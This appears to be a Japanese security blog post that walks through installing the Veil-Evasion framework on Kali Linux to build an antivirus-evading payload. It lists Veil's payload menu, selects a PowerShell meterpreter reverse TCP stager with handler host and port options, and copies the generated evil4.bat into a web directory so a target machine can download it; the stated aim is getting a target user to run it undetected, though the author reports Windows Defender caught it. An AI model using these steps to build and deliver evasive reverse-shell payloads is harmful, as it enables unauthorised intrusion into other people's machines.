Security Record

セキュリティ全般に関する情報を発信しています

Windows Defenderのリアルタイム保護を回避するVei Frameworkを使用する方法

Meterperterセッションを確立するには以下の2つをクリアする必要があります

  1. ターゲット端末の操作者に実行ファイルを実行させる
  2. アンチウィルスによる検知を回避する

実行ファイルが実行されてもアンチウィルスに検知されてしまっては目的を果たすことができません。 そこで、アンチウィルスを回避するVei Frameworkを試してみました。

Vei Frameworkをインストールする

まずは下記コマンドで Vei Frameworkをインストールします。
(インストール完了まで5分程度かかります)

┌──(root㉿kali)-[/home/kali]
└─# apt install veil-evasion

veilコマンドを実行すると、Are you sure you wish to install Veil?と質問されるので「s」のサイレントモードでのinstallで実行します。

┌──(root㉿kali)-[/home/kali]
└─# veil        
 ==========================================================================
                 Veil (Setup Script) | [Updated]: 2018-05-08
 ==========================================================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
 ==========================================================================

                 os = kali
          osversion = 2023.1
       osmajversion = 2023
               arch = x86_64
           trueuser = kali
   userprimarygroup = kali
        userhomedir = /home/kali
            rootdir = /usr/share/veil
            veildir = /var/lib/veil
          outputdir = /var/lib/veil/output
    dependenciesdir = /var/lib/veil/setup-dependencies
            winedir = /var/lib/veil/wine
          winedrive = /var/lib/veil/wine/drive_c
            gempath = Z:\var\lib\veil\wine\drive_c\Ruby187\bin\gem

 [I] Kali Linux 2023.1 x86_64 detected...

 [?] Are you sure you wish to install Veil?

     Continue with installation? ([y]es/[s]ilent/[N]o): 

このインストールには10分程度かかるのでしばらく待ちます。

Veiのインストール完了を確認する

最終的に Done! と表示され、Veilが実行できるようになったらインストール完了です。
(ここでは一旦exitで抜けます)

 [I] Done!

===============================================================================
                             Veil | [Version]: 3.1.14
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

        2 tools loaded

Available Tools:

        1)      Evasion
        2)      Ordnance

Available Commands:

        exit                    Completely exit Veil
        info                    Information on a specific tool
        list                    List available tools
        options                 Show Veil configuration
        update                  Update Veil
        use                     Use a specific tool

Veil>: 

Veiを起動する

Veiを起動するにはveilコマンドを実行するだけです。 これでアンチウィルスを回避するVei Frameworkのインストールが完了しました。

┌──(root㉿kali)-[/home/kali]
└─# veil
===============================================================================
                             Veil | [Version]: 3.1.14
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

        2 tools loaded

Available Tools:

        1)      Evasion
        2)      Ordnance

Available Commands:

        exit                    Completely exit Veil
        info                    Information on a specific tool
        list                    List available tools
        options                 Show Veil configuration
        update                  Update Veil
        use                     Use a specific tool

Veil>: 

自分のローカル環境でテストするだけであればいったんアンチウィルスソフトを無効化すればよいので、ここまでの準備はしなくても実験はできます。
しかし、攻撃者の視点に立つとアンチウィルスの回避は必須なので、手口を知っておくことは有益かと思います。

Veiをアップデートしておく

以下のコマンドを実行してVeilを最新の状態にしておきます。

Veil>: update

ツールを選択する

起動時にEvasionとOrdnanceがAvailable Toolsとして表示されました。 アンチウィルスを回避したい場合は以下のように入力してEvasionを選択します。

Veil>: use 1

ペイロードを選択する

Veil/Evasion>: list
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================


 [*] Available Payloads:                                                                                          
                                                                                                                  
        1)      autoit/shellcode_inject/flat.py

        2)      auxiliary/coldwar_wrapper.py
        3)      auxiliary/macro_converter.py
        4)      auxiliary/pyinstaller_wrapper.py

        5)      c/meterpreter/rev_http.py
        6)      c/meterpreter/rev_http_service.py
        7)      c/meterpreter/rev_tcp.py
        8)      c/meterpreter/rev_tcp_service.py

        9)      cs/meterpreter/rev_http.py
        10)     cs/meterpreter/rev_https.py
        11)     cs/meterpreter/rev_tcp.py
        12)     cs/shellcode_inject/base64.py
        13)     cs/shellcode_inject/virtual.py

        14)     go/meterpreter/rev_http.py
        15)     go/meterpreter/rev_https.py
        16)     go/meterpreter/rev_tcp.py
        17)     go/shellcode_inject/virtual.py

        18)     lua/shellcode_inject/flat.py

        19)     perl/shellcode_inject/flat.py

        20)     powershell/meterpreter/rev_http.py
        21)     powershell/meterpreter/rev_https.py
        22)     powershell/meterpreter/rev_tcp.py
        23)     powershell/shellcode_inject/psexec_virtual.py
        24)     powershell/shellcode_inject/virtual.py

        25)     python/meterpreter/bind_tcp.py
        26)     python/meterpreter/rev_http.py
        27)     python/meterpreter/rev_https.py
        28)     python/meterpreter/rev_tcp.py
        29)     python/shellcode_inject/aes_encrypt.py
        30)     python/shellcode_inject/arc_encrypt.py
        31)     python/shellcode_inject/base64_substitution.py
        32)     python/shellcode_inject/des_encrypt.py
        33)     python/shellcode_inject/flat.py
        34)     python/shellcode_inject/letter_substitution.py
        35)     python/shellcode_inject/pidinject.py
        36)     python/shellcode_inject/stallion.py

        37)     ruby/meterpreter/rev_http.py
        38)     ruby/meterpreter/rev_https.py
        39)     ruby/meterpreter/rev_tcp.py
        40)     ruby/shellcode_inject/base64.py
        41)     ruby/shellcode_inject/flat.py

22番目にある「powershell/meterpreter/rev_tcp.py」というペイロードを選択してみます。
以下のように入力します。

Veil/Evasion>: use 22
===============================================================================                                   
                                   Veil-Evasion                                                                   
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 Payload Information:
                                                                                                                  
        Name:           Pure PowerShell Reverse TCP Stager
        Language:       powershell
        Rating:         Excellent
        Description:    pure windows/meterpreter/reverse_tcp stager, no
                        shellcode

Payload: powershell/meterpreter/rev_tcp selected

 Required Options:
                                                                                                                  
Name                    Value           Description
----                    -----           -----------
BADMACS                 FALSE           Checks for known bad mac addresses
DOMAIN                  X               Optional: Required internal domain
HOSTNAME                X               Optional: Required system hostname
LHOST                                   IP of the Metasploit handler
LPORT                   4444            Port of the Metasploit handler
MINBROWSERS             FALSE           Minimum of 2 browsers
MINPROCESSES            X               Minimum number of processes running
MINRAM                  FALSE           Require a minimum of 3 gigs of RAM
PROCESSORS              X               Optional: Minimum number of processors
SLEEP                   X               Optional: Sleep "Y" seconds, check if accelerated
USERNAME                X               Optional: The required user account
USERPROMPT              FALSE           Window pops up prior to payload
UTCCHECK                FALSE           Check that system isn't using UTC time zone
VIRTUALPROC             FALSE           Check for known VM processes

 Available Commands:
                                                                                                                  
        back            Go back to Veil-Evasion
        exit            Completely exit Veil
        generate        Generate the payload
        options         Show the shellcode's options
        set             Set shellcode option

生成されたペイロードを確認してインターネットより参照できるディレクトリに移動する。

┌──(root㉿kali)-[/var/www/html/share]
└─# cd /var/lib/veil/output/source
                                                                                                                                                                   
┌──(root㉿kali)-[/var/lib/veil/output/source]
└─# ls
evil4.bat
                                                                                                                                                                   
┌──(root㉿kali)-[/var/lib/veil/output/source]
└─# cp /var/lib/veil/output/source/evil4.bat /var/www/html/share

生成されたペイロードは/var/lib/veil/output/sourceに出力されます。
これを、/var/www/html/以下の任意の場所に配置して、インターネット経由でアクセスできるようにします。

標的端末より以下のURLにアクセスして、ペイロードをダウンロードします。
その際アンチウィルスが反応しなければ、成功です。 http://192.168.28.5/share/

結論

今回のやり方ではアンチウィルスが反応しました。
マイクロソフトが対策をして、Vei Frameworkで生成したペイロードにも反応したのかもしれません。
アンチウィルス回避の方法は別のアプローチが必要になりそうです。

個人のゲストOS上で試すには、アンチウィルスを無効化すれば実験は進める事が出来るので、 ひとまず以上とします。次にペイロードに別ファイルをバインドさせて試してみようと思います。